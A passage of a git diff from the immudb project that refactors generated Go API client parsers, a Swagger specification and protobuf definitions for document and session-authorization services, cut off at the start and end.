strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelCollectionListResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseCollectionUpdateResponse parses an HTTP response from a CollectionUpdateWithResponse call +func ParseCollectionUpdateResponse(rsp *http.Response) (*CollectionUpdateResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &CollectionUpdateResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelCollectionUpdateResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseDocumentAuditResponse parses an HTTP response from a DocumentAuditWithResponse call +func ParseDocumentAuditResponse(rsp *http.Response) (*DocumentAuditResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentAuditResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelDocumentAuditResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseDocumentInsertResponse parses an HTTP response from a DocumentInsertWithResponse call +func ParseDocumentInsertResponse(rsp *http.Response) (*DocumentInsertResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentInsertResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelDocumentInsertResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseDocumentInsertManyResponse parses an HTTP response from a DocumentInsertManyWithResponse call +func ParseDocumentInsertManyResponse(rsp *http.Response) (*DocumentInsertManyResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentInsertManyResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelDocumentInsertManyResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseDocumentProofResponse parses an HTTP response from a DocumentProofWithResponse call +func ParseDocumentProofResponse(rsp *http.Response) (*DocumentProofResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentProofResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelDocumentProofResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseDocumentSearchResponse parses an HTTP response from a DocumentSearchWithResponse call +func ParseDocumentSearchResponse(rsp *http.Response) (*DocumentSearchResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentSearchResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelDocumentSearchResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} + +// ParseDocumentUpdateResponse parses an HTTP response from a DocumentUpdateWithResponse call +func ParseDocumentUpdateResponse(rsp *http.Response) (*DocumentUpdateResponse, error) { + bodyBytes, err := io.ReadAll(rsp.Body) + defer func() { _ = rsp.Body.Close() }() + if err != nil { + return nil, err + } + + response := &DocumentUpdateResponse{ + Body: bodyBytes, + HTTPResponse: rsp, + } + + switch { + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && rsp.StatusCode == 200: + var dest ModelDocumentUpdateResponse + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSON200 = &dest + + case strings.Contains(rsp.Header.Get("Content-Type"), "json") && true: + var dest RpcStatus + if err := json.Unmarshal(bodyBytes, &dest); err != nil { + return nil, err + } + response.JSONDefault = &dest + + } + + return response, nil +} diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/openapi/apidocs.swagger.json similarity index 69% rename from pkg/api/documentschema/documentschema.swagger.json rename to pkg/api/openapi/apidocs.swagger.json index 8a9ef3a551..51cb10a173 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -2,9 +2,17 @@ "swagger": "2.0", "info": { "title": "immudb REST API v2", - "description": "Objects storage API", + "description": "Authorization API", "version": "version not set" }, + "tags": [ + { + "name": "AuthorizationService" + }, + { + "name": "DocumentService" + } + ], "basePath": "/api/v2", "consumes": [ "application/json" @@ -13,20 +21,116 @@ "application/json" ], "paths": { + "/authorization/session/close": { + "post": { + "operationId": "CloseSession", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelCloseSessionResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/rpcStatus" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelCloseSessionRequest" + } + } + ], + "tags": [ + "authorization" + ] + } + }, + "/authorization/session/keepalive": { + "post": { + "operationId": "KeepAlive", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/modelKeepAliveResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/rpcStatus" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/modelKeepAliveRequest" + } + } + ], + "tags": [ + "authorization" + ] + } + }, + "/authorization/session/open": { + "post": { + "operationId": "OpenSession", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/immudbmodelOpenSessionResponse" + } + }, + "default": { + "description": "An unexpected error response.", + "schema": { + "$ref": "#/definitions/rpcStatus" + } + } + }, + "parameters": [ + { + "name": "body", + "in": "body", + "required": true, + "schema": { + "$ref": "#/definitions/immudbmodelOpenSessionRequest" + } + } + ], + "tags": [ + "authorization" + ] + } + }, "/collections/create": { "put": { - "operationId": "DocumentService_CollectionCreate", + "operationId": "CollectionCreate", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentschemaCollectionCreateResponse" + "$ref": "#/definitions/modelCollectionCreateResponse" } }, "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/runtimeError" + "$ref": "#/definitions/rpcStatus" } } }, @@ -36,7 +140,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentschemaCollectionCreateRequest" + "$ref": "#/definitions/modelCollectionCreateRequest" } } ], @@ -47,18 +151,18 @@ }, "/collections/delete": { "delete": { - "operationId": "DocumentService_CollectionDelete", + "operationId": "CollectionDelete", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentschemaCollectionDeleteResponse" + "$ref": "#/definitions/modelCollectionDeleteResponse" } }, "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/runtimeError" + "$ref": "#/definitions/rpcStatus" } } }, @@ -77,18 +181,18 @@ }, "/collections/get": { "get": { - "operationId": "DocumentService_CollectionGet", + "operationId": "CollectionGet", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentschemaCollectionGetResponse" + "$ref": "#/definitions/modelCollectionGetResponse" } }, "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/runtimeError" + "$ref": "#/definitions/rpcStatus" } } }, @@ -107,18 +211,18 @@ }, "/collections/list": { "post": { - "operationId": "DocumentService_CollectionList", + "operationId": "CollectionList", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentschemaCollectionListResponse" + "$ref": "#/definitions/modelCollectionListResponse" } }, "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/runtimeError" + "$ref": "#/definitions/rpcStatus" } } }, @@ -128,7 +232,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentschemaCollectionListRequest" + "$ref": "#/definitions/modelCollectionListRequest" } } ], @@ -139,18 +243,18 @@ }, "/collections/update": { "put": { - "operationId": "DocumentService_CollectionUpdate", + "operationId": "CollectionUpdate", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentschemaCollectionUpdateResponse" + "$ref": "#/definitions/modelCollectionUpdateResponse" } }, "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/runtimeError" + "$ref": "#/definitions/rpcStatus" } } }, @@ -160,7 +264,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentschemaCollectionUpdateRequest" + "$ref": "#/definitions/modelCollectionUpdateRequest" } } ], @@ -171,18 +275,18 @@ }, "/documents/audit": { "post": { - "operationId": "DocumentService_DocumentAudit", + "operationId": "DocumentAudit", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentschemaDocumentAuditResponse" + "$ref": "#/definitions/modelDocumentAuditResponse" } }, "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/runtimeError" + "$ref": "#/definitions/rpcStatus" } } }, @@ -192,7 +296,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentschemaDocumentAuditRequest" + "$ref": "#/definitions/modelDocumentAuditRequest" } } ], @@ -204,18 +308,18 @@ }, "/documents/insert": { "put": { - "operationId": "DocumentService_DocumentInsert", + "operationId": "DocumentInsert", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentschemaDocumentInsertResponse" + "$ref": "#/definitions/modelDocumentInsertResponse" } }, "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/runtimeError" + "$ref": "#/definitions/rpcStatus" } } }, @@ -225,7 +329,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentschemaDocumentInsertRequest" + "$ref": "#/definitions/modelDocumentInsertRequest" } } ], @@ -236,18 +340,18 @@ }, "/documents/insertMany": { "put": { - "operationId": "DocumentService_DocumentInsertMany", + "operationId": "DocumentInsertMany", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentschemaDocumentInsertManyResponse" + "$ref": "#/definitions/modelDocumentInsertManyResponse" } }, "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/runtimeError" + "$ref": "#/definitions/rpcStatus" } } }, @@ -257,7 +361,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentschemaDocumentInsertManyRequest" + "$ref": "#/definitions/modelDocumentInsertManyRequest" } } ], @@ -268,18 +372,18 @@ }, "/documents/proof": { "post": { - "operationId": "DocumentService_DocumentProof", + "operationId": "DocumentProof", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentschemaDocumentProofResponse" + "$ref": "#/definitions/modelDocumentProofResponse" } }, "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/runtimeError" + "$ref": "#/definitions/rpcStatus" } } }, @@ -289,7 +393,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentschemaDocumentProofRequest" + "$ref": "#/definitions/modelDocumentProofRequest" } } ], @@ -301,18 +405,18 @@ }, "/documents/search": { "post": { - "operationId": "DocumentService_DocumentSearch", + "operationId": "DocumentSearch", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentschemaDocumentSearchResponse" + "$ref": "#/definitions/modelDocumentSearchResponse" } }, "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/runtimeError" + "$ref": "#/definitions/rpcStatus" } } }, @@ -322,7 +426,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentschemaDocumentSearchRequest" + "$ref": "#/definitions/modelDocumentSearchRequest" } } ], @@ -333,18 +437,18 @@ }, "/documents/update": { "post": { - "operationId": "DocumentService_DocumentUpdate", + "operationId": "DocumentUpdate", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentschemaDocumentUpdateResponse" + "$ref": "#/definitions/modelDocumentUpdateResponse" } }, "default": { "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/runtimeError" + "$ref": "#/definitions/rpcStatus" } } }, @@ -354,7 +458,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentschemaDocumentUpdateRequest" + "$ref": "#/definitions/modelDocumentUpdateRequest" } } ], @@ -365,96 +469,137 @@ } }, "definitions": { - "documentschemaCollectionCreateRequest": { + "immudbmodelOpenSessionRequest": { "type": "object", "properties": { - "name": { + "username": { "type": "string" }, - "indexKeys": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/documentschemaIndexOption" - } + "password": { + "type": "string" + }, + "database": { + "type": "string" } } }, - "documentschemaCollectionCreateResponse": { + "immudbmodelOpenSessionResponse": { "type": "object", "properties": { - "collection": { - "$ref": "#/definitions/documentschemaCollectionInformation" + "sessionID": { + "type": "string" + }, + "serverUUID": { + "type": "string" + }, + "expirationTimestamp": { + "type": "integer", + "format": "int32" + }, + "inactivityTimestamp": { + "type": "integer", + "format": "int32" } } }, - "documentschemaCollectionDeleteResponse": { + "modelCloseSessionRequest": { "type": "object" }, - "documentschemaCollectionGetResponse": { + "modelCloseSessionResponse": { + "type": "object" + }, + "modelCollection": { + "type": "object", + "properties": { + "name": { + "type": "string" + }, + "idFieldName": { + "type": "string" + }, + "fields": { + "type": "array", + "items": { + "type": "object", + "$ref": "#/definitions/modelField" + } + }, + "indexes": { + "type": "array", + "items": { + "type": "object", + "$ref": "#/definitions/modelIndex" + } + } + } + }, + "modelCollectionCreateRequest": { "type": "object", "properties": { "collection": { - "$ref": "#/definitions/documentschemaCollectionInformation" + "$ref": "#/definitions/modelCollection" } } }, - "documentschemaCollectionInformation": { + "modelCollectionCreateResponse": { "type": "object", "properties": { - "name": { - "type": "string" - }, - "indexKeys": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/documentschemaIndexOption" - } + "collection": { + "$ref": "#/definitions/modelCollection" } } }, - "documentschemaCollectionListRequest": { + "modelCollectionDeleteResponse": { "type": "object" }, - "documentschemaCollectionListResponse": { + "modelCollectionGetResponse": { "type": "object", "properties": { - "collections": { - "type": "array", - "items": { - "$ref": "#/definitions/documentschemaCollectionInformation" - } + "collection": { + "$ref": "#/definitions/modelCollection" } } }, - "documentschemaCollectionUpdateRequest": { + "modelCollectionListRequest": { + "type": "object" + }, + "modelCollectionListResponse": { "type": "object", "properties": { - "name": { - "type": "string" - }, - "addIndexes": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/documentschemaIndexOption" - } - }, - "removeIndexes": { + "collections": { "type": "array", "items": { - "type": "string" + "type": "object", + "$ref": "#/definitions/modelCollection" } } } }, - "documentschemaCollectionUpdateResponse": { + "modelCollectionUpdateRequest": { "type": "object", "properties": { "collection": { - "$ref": "#/definitions/documentschemaCollectionInformation" + "$ref": "#/definitions/modelCollection" } } }, - "documentschemaDocumentAudit": { + "modelCollectionUpdateResponse": { + "type": "object" + }, + "modelComparisonOperator": { + "type": "string", + "enum": [ + "EQ", + "NE", + "LT", + "LE", + "GT", + "GE", + "LIKE" + ], + "default": "EQ" + }, + "modelDocumentAtRevision": { "type": "object", "properties": { "transactionId": { @@ -470,7 +615,7 @@ } } }, - "documentschemaDocumentAuditRequest": { + "modelDocumentAuditRequest": { "type": "object", "properties": { "collection": { @@ -479,6 +624,9 @@ "documentId": { "type": "string" }, + "desc": { + "type": "boolean" + }, "page": { "type": "integer", "format": "int64" @@ -489,18 +637,19 @@ } } }, - "documentschemaDocumentAuditResponse": { + "modelDocumentAuditResponse": { "type": "object", "properties": { - "results": { + "revisions": { "type": "array", "items": { - "$ref": "#/definitions/documentschemaDocumentAudit" + "type": "object", + "$ref": "#/definitions/modelDocumentAtRevision" } } } }, - "documentschemaDocumentInsertManyRequest": { + "modelDocumentInsertManyRequest": { "type": "object", "properties": { "collection": { @@ -514,22 +663,22 @@ } } }, - "documentschemaDocumentInsertManyResponse": { + "modelDocumentInsertManyResponse": { "type": "object", "properties": { + "transactionId": { + "type": "string", + "format": "uint64" + }, "documentIds": { "type": "array", "items": { "type": "string" } - }, - "transactionId": { - "type": "string", - "format": "uint64" } } }, - "documentschemaDocumentInsertRequest": { + "modelDocumentInsertRequest": { "type": "object", "properties": { "collection": { @@ -540,19 +689,19 @@ } } }, - "documentschemaDocumentInsertResponse": { + "modelDocumentInsertResponse": { "type": "object", "properties": { - "documentId": { - "type": "string" - }, "transactionId": { "type": "string", "format": "uint64" + }, + "documentId": { + "type": "string" } } }, - "documentschemaDocumentProofRequest": { + "modelDocumentProofRequest": { "type": "object", "properties": { "collection": { @@ -571,7 +720,7 @@ } } }, - "documentschemaDocumentProofResponse": { + "modelDocumentProofResponse": { "type": "object", "properties": { "database": { @@ -590,31 +739,17 @@ } } }, - "documentschemaDocumentQuery": { - "type": "object", - "properties": { - "field": { - "type": "string" - }, - "operator": { - "$ref": "#/definitions/documentschemaQueryOperator" - }, - "value": { - "type": "object" - } - } - }, - "documentschemaDocumentSearchRequest": { + "modelDocumentSearchRequest": { "type": "object", "properties": { "collection": { "type": "string" }, "query": { - "type": "array", - "items": { - "$ref": "#/definitions/documentschemaDocumentQuery" - } + "$ref": "#/definitions/modelQuery" + }, + "desc": { + "type": "boolean" }, "page": { "type": "integer", @@ -629,13 +764,14 @@ } } }, - "documentschemaDocumentSearchResponse": { + "modelDocumentSearchResponse": { "type": "object", "properties": { - "results": { + "revisions": { "type": "array", "items": { - "type": "object" + "type": "object", + "$ref": "#/definitions/modelDocumentAtRevision" } }, "searchID": { @@ -643,83 +779,116 @@ } } }, - "documentschemaDocumentUpdateRequest": { + "modelDocumentUpdateRequest": { "type": "object", "properties": { "collection": { "type": "string" }, "query": { - "type": "array", - "items": { - "$ref": "#/definitions/documentschemaDocumentQuery" - } + "$ref": "#/definitions/modelQuery" }, "document": { "type": "object" } } }, - "documentschemaDocumentUpdateResponse": { + "modelDocumentUpdateResponse": { "type": "object", "properties": { - "transactionId": { - "type": "string", - "format": "uint64" - }, "revision": { - "type": "string", - "format": "uint64" + "$ref": "#/definitions/modelDocumentAtRevision" } } }, - "documentschemaIndexOption": { + "modelField": { "type": "object", "properties": { - "type": { - "$ref": "#/definitions/documentschemaIndexType" + "name": { + "type": "string" }, - "isUnique": { - "type": "boolean" + "type": { + "$ref": "#/definitions/modelFieldType" } } }, - "documentschemaIndexType": { + "modelFieldComparison": { + "type": "object", + "properties": { + "field": { + "type": "string" + }, + "operator": { + "$ref": "#/definitions/modelComparisonOperator" + }, + "value": {} + } + }, + "modelFieldType": { "type": "string", "enum": [ - "DOUBLE", + "STRING", + "BOOLEAN", "INTEGER", - "STRING" + "DOUBLE", + "BLOB" ], - "default": "DOUBLE" + "default": "STRING" }, - "documentschemaQueryOperator": { - "type": "string", - "enum": [ - "EQ", - "NE", - "LT", - "LE", - "GT", - "GE", - "LIKE" - ], - "default": "EQ" + "modelIndex": { + "type": "object", + "properties": { + "fields": { + "type": "array", + "items": { + "type": "string" + } + }, + "isUnique": { + "type": "boolean" + } + } + }, + "modelKeepAliveRequest": { + "type": "object" + }, + "modelKeepAliveResponse": { + "type": "object" + }, + "modelQuery": { + "type": "object", + "properties": { + "expressions": { + "type": "array", + "items": { + "type": "object", + "$ref": "#/definitions/modelQueryExpression" + } + } + } + }, + "modelQueryExpression": { + "type": "object", + "properties": { + "fieldComparisons": { + "type": "array", + "items": { + "type": "object", + "$ref": "#/definitions/modelFieldComparison" + } + } + } }, "protobufAny": { "type": "object", "properties": { - "type_url": { + "@type": { "type": "string", "description": "A URL/resource name that uniquely identifies the type of the serialized\nprotocol buffer message. This string must contain at least\none \"/\" character. The last segment of the URL's path must represent\nthe fully qualified name of the type (as in\n`path/google.protobuf.Duration`). The name should be in a canonical form\n(e.g., leading \".\" is not accepted).\n\nIn practice, teams usually precompile into the binary all types that they\nexpect it to use in the context of Any. However, for URLs which use the\nscheme `http`, `https`, or no scheme, one can optionally set up a type\nserver that maps type URLs to message definitions as follows:\n\n* If no scheme is provided, `https` is assumed.\n* An HTTP GET on the URL must yield a [google.protobuf.Type][]\n value in binary format, or produce an error.\n* Applications are allowed to cache lookup results based on the\n URL, or have them precompiled into a binary to avoid any\n lookup. Therefore, binary compatibility needs to be preserved\n on changes to types. (Use versioned type names to manage\n breaking changes.)\n\nNote: this functionality is not currently available in the official\nprotobuf release, and it is not used for type URLs beginning with\ntype.googleapis.com.\n\nSchemes other than `http`, `https` (or the empty scheme) might be\nused with implementation specific semantics." - }, - "value": { - "type": "string", - "format": "byte", - "description": "Must be a valid serialized protocol buffer of the above specified type." } }, - "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\nExample 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\nExample 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := anypb.New(foo)\n if err != nil {\n ...\n }\n ...\n foo := \u0026pb.Foo{}\n if err := any.UnmarshalTo(foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" + "additionalProperties": {}, + "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" }, "protobufNullValue": { "type": "string", @@ -729,12 +898,9 @@ "default": "NULL_VALUE", "description": "`NullValue` is a singleton enumeration to represent the null value for the\n`Value` type union.\n\n The JSON representation for `NullValue` is JSON `null`.\n\n - NULL_VALUE: Null value." }, - "runtimeError": { + "rpcStatus": { "type": "object", "properties": { - "error": { - "type": "string" - }, "code": { "type": "integer", "format": "int32" @@ -745,6 +911,7 @@ "details": { "type": "array", "items": { + "type": "object", "$ref": "#/definitions/protobufAny" } } @@ -896,6 +1063,7 @@ "entries": { "type": "array", "items": { + "type": "object", "$ref": "#/definitions/schemaTxEntry" }, "title": "Raw entry values" @@ -903,6 +1071,7 @@ "kvEntries": { "type": "array", "items": { + "type": "object", "$ref": "#/definitions/schemaEntry" }, "title": "KV entries in the transaction (parsed)" @@ -910,6 +1079,7 @@ "zEntries": { "type": "array", "items": { + "type": "object", "$ref": "#/definitions/schemaZEntry" }, "title": "Sorted Set entries in the transaction (parsed)" @@ -1051,18 +1221,5 @@ } } } - }, - "securityDefinitions": { - "bearer": { - "type": "apiKey", - "description": "Session token: \u003ctoken\u003e", - "name": "grpc-metadata-sessionid", - "in": "header" - } - }, - "security": [ - { - "bearer": [] - } - ] + } } diff --git a/pkg/api/authorizationschema/authorizationschema.proto b/pkg/api/proto/authorization.proto similarity index 57% rename from pkg/api/authorizationschema/authorizationschema.proto rename to pkg/api/proto/authorization.proto index 3b8619334f..a2e7de7899 100644 --- a/pkg/api/authorizationschema/authorizationschema.proto +++ b/pkg/api/proto/authorization.proto @@ -16,12 +16,12 @@ limitations under the License. syntax = "proto3"; -package immudb.authorizationschema; +package immudb.model; import "google/api/annotations.proto"; import "protoc-gen-swagger/options/annotations.proto"; -option go_package = "github.com/codenotary/immudb/pkg/api/authorizationschema"; +option go_package = "github.com/codenotary/immudb/pkg/api/protomodel"; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { base_path: "/api/v2", info: { @@ -30,21 +30,29 @@ option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { }; }; -message OpenSessionRequestV2 { +message OpenSessionRequest { string username = 1; string password = 2; string database = 3; } -message OpenSessionResponseV2 { - string token = 1; +message OpenSessionResponse { + string sessionID = 1; string serverUUID = 2; int32 expirationTimestamp = 3; int32 inactivityTimestamp = 4; } +message KeepAliveRequest {} + +message KeepAliveResponse {} + +message CloseSessionRequest {} + +message CloseSessionResponse {} + service AuthorizationService { - rpc OpenSessionV2(OpenSessionRequestV2) returns (OpenSessionResponseV2) { + rpc OpenSession(OpenSessionRequest) returns (OpenSessionResponse) { option (google.api.http) = { post: "/authorization/session/open" body: "*" @@ -53,4 +61,24 @@ service AuthorizationService { tags: "authorization"; }; } + + rpc KeepAlive(KeepAliveRequest) returns (KeepAliveResponse) { + option (google.api.http) = { + post: "/authorization/session/keepalive" + body: "*" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "authorization"; + }; + } + + rpc CloseSession(CloseSessionRequest) returns (CloseSessionResponse) { + option (google.api.http) = { + post: "/authorization/session/close" + body: "*" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "authorization"; + }; + } } diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/proto/documents.proto similarity index 81% rename from pkg/api/documentschema/documentschema.proto rename to pkg/api/proto/documents.proto 